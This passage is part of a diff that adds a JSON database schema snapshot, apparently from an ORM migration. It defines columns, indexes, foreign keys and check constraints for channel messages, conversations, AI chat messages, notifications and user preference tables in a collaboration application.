+ "tableFrom": "channel_messages",
+ "tableTo": "files",
+ "columnsFrom": [
+ "fileId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ },
+ "channel_messages_parentId_channel_messages_id_fk": {
+ "name": "channel_messages_parentId_channel_messages_id_fk",
+ "tableFrom": "channel_messages",
+ "tableTo": "channel_messages",
+ "columnsFrom": [
+ "parentId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "channel_messages_mirroredFromId_channel_messages_id_fk": {
+ "name": "channel_messages_mirroredFromId_channel_messages_id_fk",
+ "tableFrom": "channel_messages",
+ "tableTo": "channel_messages",
+ "columnsFrom": [
+ "mirroredFromId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ },
+ "channel_messages_quotedMessageId_channel_messages_id_fk": {
+ "name": "channel_messages_quotedMessageId_channel_messages_id_fk",
+ "tableFrom": "channel_messages",
+ "tableTo": "channel_messages",
+ "columnsFrom": [
+ "quotedMessageId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.channel_read_status": {
+ "name": "channel_read_status",
+ "schema": "",
+ "columns": {
+ "userId": {
+ "name": "userId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "channelId": {
+ "name": "channelId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "lastReadAt": {
+ "name": "lastReadAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "channel_read_status_user_id_idx": {
+ "name": "channel_read_status_user_id_idx",
+ "columns": [
+ {
+ "expression": "userId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "channel_read_status_channel_id_idx": {
+ "name": "channel_read_status_channel_id_idx",
+ "columns": [
+ {
+ "expression": "channelId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "channel_read_status_userId_users_id_fk": {
+ "name": "channel_read_status_userId_users_id_fk",
+ "tableFrom": "channel_read_status",
+ "tableTo": "users",
+ "columnsFrom": [
+ "userId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "channel_read_status_channelId_pages_id_fk": {
+ "name": "channel_read_status_channelId_pages_id_fk",
+ "tableFrom": "channel_read_status",
+ "tableTo": "pages",
+ "columnsFrom": [
+ "channelId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {
+ "channel_read_status_userId_channelId_pk": {
+ "name": "channel_read_status_userId_channelId_pk",
+ "columns": [
+ "userId",
+ "channelId"
+ ]
+ }
+ },
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.channel_thread_followers": {
+ "name": "channel_thread_followers",
+ "schema": "",
+ "columns": {
+ "rootMessageId": {
+ "name": "rootMessageId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "userId": {
+ "name": "userId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "channel_thread_followers_user_id_idx": {
+ "name": "channel_thread_followers_user_id_idx",
+ "columns": [
+ {
+ "expression": "userId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "channel_thread_followers_rootMessageId_channel_messages_id_fk": {
+ "name": "channel_thread_followers_rootMessageId_channel_messages_id_fk",
+ "tableFrom": "channel_thread_followers",
+ "tableTo": "channel_messages",
+ "columnsFrom": [
+ "rootMessageId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "channel_thread_followers_userId_users_id_fk": {
+ "name": "channel_thread_followers_userId_users_id_fk",
+ "tableFrom": "channel_thread_followers",
+ "tableTo": "users",
+ "columnsFrom": [
+ "userId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {
+ "channel_thread_followers_rootMessageId_userId_pk": {
+ "name": "channel_thread_followers_rootMessageId_userId_pk",
+ "columns": [
+ "rootMessageId",
+ "userId"
+ ]
+ }
+ },
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.pulse_summaries": {
+ "name": "pulse_summaries",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "userId": {
+ "name": "userId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "summary": {
+ "name": "summary",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "greeting": {
+ "name": "greeting",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "type": {
+ "name": "type",
+ "type": "pulse_summary_type",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'scheduled'"
+ },
+ "contextData": {
+ "name": "contextData",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "orgIds": {
+ "name": "orgIds",
+ "type": "text[]",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "ARRAY[]::text[]"
+ },
+ "aiProvider": {
+ "name": "aiProvider",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "aiModel": {
+ "name": "aiModel",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "periodStart": {
+ "name": "periodStart",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "periodEnd": {
+ "name": "periodEnd",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "generatedAt": {
+ "name": "generatedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "expiresAt": {
+ "name": "expiresAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {
+ "idx_pulse_summaries_user_id": {
+ "name": "idx_pulse_summaries_user_id",
+ "columns": [
+ {
+ "expression": "userId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "idx_pulse_summaries_generated_at": {
+ "name": "idx_pulse_summaries_generated_at",
+ "columns": [
+ {
+ "expression": "generatedAt",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "idx_pulse_summaries_expires_at": {
+ "name": "idx_pulse_summaries_expires_at",
+ "columns": [
+ {
+ "expression": "expiresAt",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "idx_pulse_summaries_user_generated": {
+ "name": "idx_pulse_summaries_user_generated",
+ "columns": [
+ {
+ "expression": "userId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "generatedAt",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "pulse_summaries_userId_users_id_fk": {
+ "name": "pulse_summaries_userId_users_id_fk",
+ "tableFrom": "pulse_summaries",
+ "tableTo": "users",
+ "columnsFrom": [
+ "userId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.user_dashboards": {
+ "name": "user_dashboards",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "userId": {
+ "name": "userId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "content": {
+ "name": "content",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "''"
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "updatedAt": {
+ "name": "updatedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "user_dashboards_userId_users_id_fk": {
+ "name": "user_dashboards_userId_users_id_fk",
+ "tableFrom": "user_dashboards",
+ "tableTo": "users",
+ "columnsFrom": [
+ "userId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "user_dashboards_userId_unique": {
+ "name": "user_dashboards_userId_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "userId"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.conversations": {
+ "name": "conversations",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "userId": {
+ "name": "userId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "title": {
+ "name": "title",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "type": {
+ "name": "type",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "contextId": {
+ "name": "contextId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "agentPageId": {
+ "name": "agentPageId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "rev": {
+ "name": "rev",
+ "type": "bigint",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 0
+ },
+ "planPageId": {
+ "name": "planPageId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "chosenWalletId": {
+ "name": "chosenWalletId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "lastMessageAt": {
+ "name": "lastMessageAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "updatedAt": {
+ "name": "updatedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "isActive": {
+ "name": "isActive",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": true
+ },
+ "isShared": {
+ "name": "isShared",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ }
+ },
+ "indexes": {
+ "conversations_user_id_idx": {
+ "name": "conversations_user_id_idx",
+ "columns": [
+ {
+ "expression": "userId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "conversations_user_id_type_idx": {
+ "name": "conversations_user_id_type_idx",
+ "columns": [
+ {
+ "expression": "userId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "type",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "conversations_user_id_last_message_at_idx": {
+ "name": "conversations_user_id_last_message_at_idx",
+ "columns": [
+ {
+ "expression": "userId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "lastMessageAt",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "conversations_context_id_idx": {
+ "name": "conversations_context_id_idx",
+ "columns": [
+ {
+ "expression": "contextId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "conversations_plan_page_id_idx": {
+ "name": "conversations_plan_page_id_idx",
+ "columns": [
+ {
+ "expression": "planPageId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "conversations_agent_page_id_idx": {
+ "name": "conversations_agent_page_id_idx",
+ "columns": [
+ {
+ "expression": "agentPageId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "conversations_userId_users_id_fk": {
+ "name": "conversations_userId_users_id_fk",
+ "tableFrom": "conversations",
+ "tableTo": "users",
+ "columnsFrom": [
+ "userId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "conversations_agentPageId_pages_id_fk": {
+ "name": "conversations_agentPageId_pages_id_fk",
+ "tableFrom": "conversations",
+ "tableTo": "pages",
+ "columnsFrom": [
+ "agentPageId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ },
+ "conversations_planPageId_pages_id_fk": {
+ "name": "conversations_planPageId_pages_id_fk",
+ "tableFrom": "conversations",
+ "tableTo": "pages",
+ "columnsFrom": [
+ "planPageId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {
+ "conversations_global_context_null_chk": {
+ "name": "conversations_global_context_null_chk",
+ "value": "\"conversations\".\"type\" <> 'global' OR \"conversations\".\"contextId\" IS NULL"
+ },
+ "conversations_page_context_present_chk": {
+ "name": "conversations_page_context_present_chk",
+ "value": "\"conversations\".\"type\" <> 'page' OR \"conversations\".\"contextId\" IS NOT NULL"
+ },
+ "conversations_drive_context_present_chk": {
+ "name": "conversations_drive_context_present_chk",
+ "value": "\"conversations\".\"type\" <> 'drive' OR \"conversations\".\"contextId\" IS NOT NULL"
+ }
+ },
+ "isRLSEnabled": false
+ },
+ "public.messages": {
+ "name": "messages",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "conversationId": {
+ "name": "conversationId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "userId": {
+ "name": "userId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "role": {
+ "name": "role",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "messageType": {
+ "name": "messageType",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'standard'"
+ },
+ "content": {
+ "name": "content",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "toolCalls": {
+ "name": "toolCalls",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "toolResults": {
+ "name": "toolResults",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "isActive": {
+ "name": "isActive",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": true
+ },
+ "editedAt": {
+ "name": "editedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "status": {
+ "name": "status",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'complete'"
+ },
+ "sourceAgentId": {
+ "name": "sourceAgentId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "source": {
+ "name": "source",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {
+ "messages_conversation_id_idx": {
+ "name": "messages_conversation_id_idx",
+ "columns": [
+ {
+ "expression": "conversationId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "messages_conversation_id_created_at_idx": {
+ "name": "messages_conversation_id_created_at_idx",
+ "columns": [
+ {
+ "expression": "conversationId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "createdAt",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "messages_user_id_idx": {
+ "name": "messages_user_id_idx",
+ "columns": [
+ {
+ "expression": "userId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "messages_conversationId_conversations_id_fk": {
+ "name": "messages_conversationId_conversations_id_fk",
+ "tableFrom": "messages",
+ "tableTo": "conversations",
+ "columnsFrom": [
+ "conversationId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "messages_userId_users_id_fk": {
+ "name": "messages_userId_users_id_fk",
+ "tableFrom": "messages",
+ "tableTo": "users",
+ "columnsFrom": [
+ "userId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "messages_sourceAgentId_pages_id_fk": {
+ "name": "messages_sourceAgentId_pages_id_fk",
+ "tableFrom": "messages",
+ "tableTo": "pages",
+ "columnsFrom": [
+ "sourceAgentId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.notifications": {
+ "name": "notifications",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "userId": {
+ "name": "userId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "type": {
+ "name": "type",
+ "type": "NotificationType",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "title": {
+ "name": "title",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "message": {
+ "name": "message",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "metadata": {
+ "name": "metadata",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "isRead": {
+ "name": "isRead",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "readAt": {
+ "name": "readAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "pageId": {
+ "name": "pageId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "driveId": {
+ "name": "driveId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "triggeredByUserId": {
+ "name": "triggeredByUserId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {
+ "notifications_user_id_idx": {
+ "name": "notifications_user_id_idx",
+ "columns": [
+ {
+ "expression": "userId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "notifications_user_id_is_read_idx": {
+ "name": "notifications_user_id_is_read_idx",
+ "columns": [
+ {
+ "expression": "userId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "isRead",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "notifications_user_id_is_read_created_at_idx": {
+ "name": "notifications_user_id_is_read_created_at_idx",
+ "columns": [
+ {
+ "expression": "userId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "isRead",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "createdAt",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "notifications_created_at_idx": {
+ "name": "notifications_created_at_idx",
+ "columns": [
+ {
+ "expression": "createdAt",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "notifications_type_idx": {
+ "name": "notifications_type_idx",
+ "columns": [
+ {
+ "expression": "type",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "notifications_userId_users_id_fk": {
+ "name": "notifications_userId_users_id_fk",
+ "tableFrom": "notifications",
+ "tableTo": "users",
+ "columnsFrom": [
+ "userId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "notifications_pageId_pages_id_fk": {
+ "name": "notifications_pageId_pages_id_fk",
+ "tableFrom": "notifications",
+ "tableTo": "pages",
+ "columnsFrom": [
+ "pageId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "notifications_driveId_drives_id_fk": {
+ "name": "notifications_driveId_drives_id_fk",
+ "tableFrom": "notifications",
+ "tableTo": "drives",
+ "columnsFrom": [
+ "driveId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "notifications_triggeredByUserId_users_id_fk": {
+ "name": "notifications_triggeredByUserId_users_id_fk",
+ "tableFrom": "notifications",
+ "tableTo": "users",
+ "columnsFrom": [
+ "triggeredByUserId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.email_notification_log": {
+ "name": "email_notification_log",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "userId": {
+ "name": "userId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "notificationId": {
+ "name": "notificationId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "notificationType": {
+ "name": "notificationType",
+ "type": "NotificationType",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "recipientEmail": {
+ "name": "recipientEmail",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "success": {
+ "name": "success",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "errorMessage": {
+ "name": "errorMessage",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "sentAt": {
+ "name": "sentAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "email_notification_log_user_idx": {
+ "name": "email_notification_log_user_idx",
+ "columns": [
+ {
+ "expression": "userId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "email_notification_log_sent_at_idx": {
+ "name": "email_notification_log_sent_at_idx",
+ "columns": [
+ {
+ "expression": "sentAt",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "email_notification_log_notification_id_idx": {
+ "name": "email_notification_log_notification_id_idx",
+ "columns": [
+ {
+ "expression": "notificationId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "email_notification_log_userId_users_id_fk": {
+ "name": "email_notification_log_userId_users_id_fk",
+ "tableFrom": "email_notification_log",
+ "tableTo": "users",
+ "columnsFrom": [
+ "userId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.email_notification_preferences": {
+ "name": "email_notification_preferences",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "userId": {
+ "name": "userId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "notificationType": {
+ "name": "notificationType",
+ "type": "NotificationType",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "emailEnabled": {
+ "name": "emailEnabled",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": true
+ },
+ "updatedAt": {
+ "name": "updatedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "email_notification_preferences_user_type_idx": {
+ "name": "email_notification_preferences_user_type_idx",
+ "columns": [
+ {
+ "expression": "userId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "notificationType",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "email_notification_preferences_userId_users_id_fk": {
+ "name": "email_notification_preferences_userId_users_id_fk",
+ "tableFrom": "email_notification_preferences",
+ "tableTo": "users",
+ "columnsFrom": [
+ "userId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.user_toast_notification_preferences": {
+ "name": "user_toast_notification_preferences",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "userId": {
+ "name": "userId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "level": {
+ "name": "level",
+ "type": "toast_notification_level",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'all'"
+ },
+ "updatedAt": {
+ "name": "updatedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "user_toast_notification_preferences_user_idx": {
+ "name": "user_toast_notification_preferences_user_idx",
+ "columns": [
+ {
+ "expression": "userId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": true,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "user_toast_notification_preferences_userId_users_id_fk": {
+ "name": "user_toast_notification_preferences_userId_users_id_fk",
+ "tableFrom": "user_toast_notification_preferences",
+ "tableTo": "users",
+ "columnsFrom": [
+ "userId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.display_preferences": {
+ "name": "display_preferences",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "userId": {
+ "name": "userId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "preferenceType": {
+ "name": "preferenceType",
+ "type": "display_preference_type",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true
